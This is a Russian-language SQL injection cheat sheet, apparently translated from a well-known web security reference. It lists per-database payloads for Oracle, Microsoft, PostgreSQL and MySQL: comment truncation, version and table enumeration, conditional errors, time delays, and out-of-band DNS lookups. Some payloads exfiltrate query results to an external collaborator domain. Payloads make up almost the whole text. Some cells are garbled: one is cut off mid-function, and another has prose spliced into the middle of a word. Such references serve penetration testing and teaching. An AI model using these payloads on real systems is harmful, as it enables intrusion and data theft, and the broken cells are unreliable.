Эта шпаргалка по SQL-инъекциям содержит примеры полезного синтаксиса, который можно использовать для выполнения множества задач, которые часто возникают при выполнении атак с использованием SQL-инъекций.
Конкатенация строк
Вы можете объединить несколько строк в одну.
Oracle | 'foo'||'bar' |
---|---|
Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL | 'foo' 'bar' [Обратите внимание на пробел между двумя строками]CONCAT('foo','bar') |
Подстрока
Вы можете извлечь часть строки из указанного смещения с указанной длиной. Обратите внимание, что индекс смещения отсчитывается от 1. Каждое из следующих выражений вернет строку ba
.
Oracle | SUBSTR('foobar', 4, 2) |
---|---|
Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
Комментарии
Вы можете использовать комментарии, чтобы усечь запрос и удалить часть исходного запроса, которая следует за вашим вводом.
Oracle | --comment |
---|---|
Microsoft | --comment |
PostgreSQL | --comment |
MySQL | #comment -- comment [Обратите внимание на пробел после двойного тире]/*comment*/ |
Версия базы данных
Вы можете запросить базу данных, чтобы определить ее тип и версию. Эта информация полезна при формулировании более сложных атак.
Oracle | SELECT banner FROM v$version |
---|---|
Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
Содержимое базы данных
Вы можете перечислить таблицы, существующие в базе данных, и столбцы, которые эти таблицы содержат.
Oracle | SELECT * FROM all_tables |
---|---|
Microsoft | SELECT * FROM information_schema.tables |
PostgreSQL | SELECT * FROM information_schema.tables |
MySQL | SELECT * FROM information_schema.tables |
Условные ошибки
Вы можете протестировать одно логическое условие и вызвать ошибку базы данных, если условие истинно.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |
---|---|
Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
Пакетные (или составные) запросы
Вы можете использовать пакетные запросы для последовательного выполнения нескольких запросов. Обратите внимание, что пока выполняются последующие запросы, результаты не возвращаются в приложение. Следовательно, этот метод в первую очередь используется в отношении слепых уязвимостей, когда вы можете использовать второй запрос для запуска поиска DNS, условной ошибки или временной задержки.
Oracle | Does not support batched queries. |
---|---|
Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | QUERY-1-HERE; QUERY-2-HERE |
Примечание
В MySQL пакетные запросы обычно не могут использоваться для внедрения SQL. Однако иногда это возможно, если целевое приложение использует определенные API-интерфейсы PHP или Python для связи с базой данных MySQL.
Задержки во времени
Вы можете вызвать задержку по времени в базе данных при обработке запроса. Следующее вызовет безусловную задержку времени 10 секунд.
Oracle | dbms_pipe.receive_message(('a'),10) |
---|---|
Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT sleep(10) |
Условные задержки
Вы можете протестировать одно логическое условие и активировать временную задержку, если условие истинно.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
---|---|
Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |
Поиск DNS
Вы можете заставить базу данных выполнять поиск DNS во внешнем домене. Для этого вам нужно будет использовать клиент Burp Collaborator для создания уникального поддомена Burp Collaborator, который вы будете использовать в своей атаке, а затем опросите сервер Collaborator, чтобы подтвердить, что поиск DNS произошел.
Oracle | Следующий метод использует уязвимость внешнего объекта XML ( XXE ) для запуска поиска DNS. Уязвимость исправлена, но существует множество неSELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual исправленных установок Oracle : Следующий метод работает на полностью исправленных установках Oracle, но требует повышенных привилегий: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net') |
---|---|
Microsoft | exec master..xp_dirtree '//YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' |
MySQL | Следующие методы работают только в Windows:LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
Поиск DNS с кражей данных
Вы можете заставить базу данных выполнять поиск DNS во внешнем домене, содержащем результаты внедренного запроса. Для этого вам нужно будет использовать клиент Burp Collaborator для создания уникального поддомена Burp Collaborator, который вы будете использовать в своей атаке, а затем опросить сервер Collaborator, чтобы получить сведения о любых взаимодействиях DNS, включая извлеченные данные.
Oracle | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/"> %remote;]>'),'/l') FROM dual |
---|---|
Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') |
PostgreSQL | create OR replace function f() returns void as $$ |
MySQL | Следующая техника работает только в Windows:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |
Источник: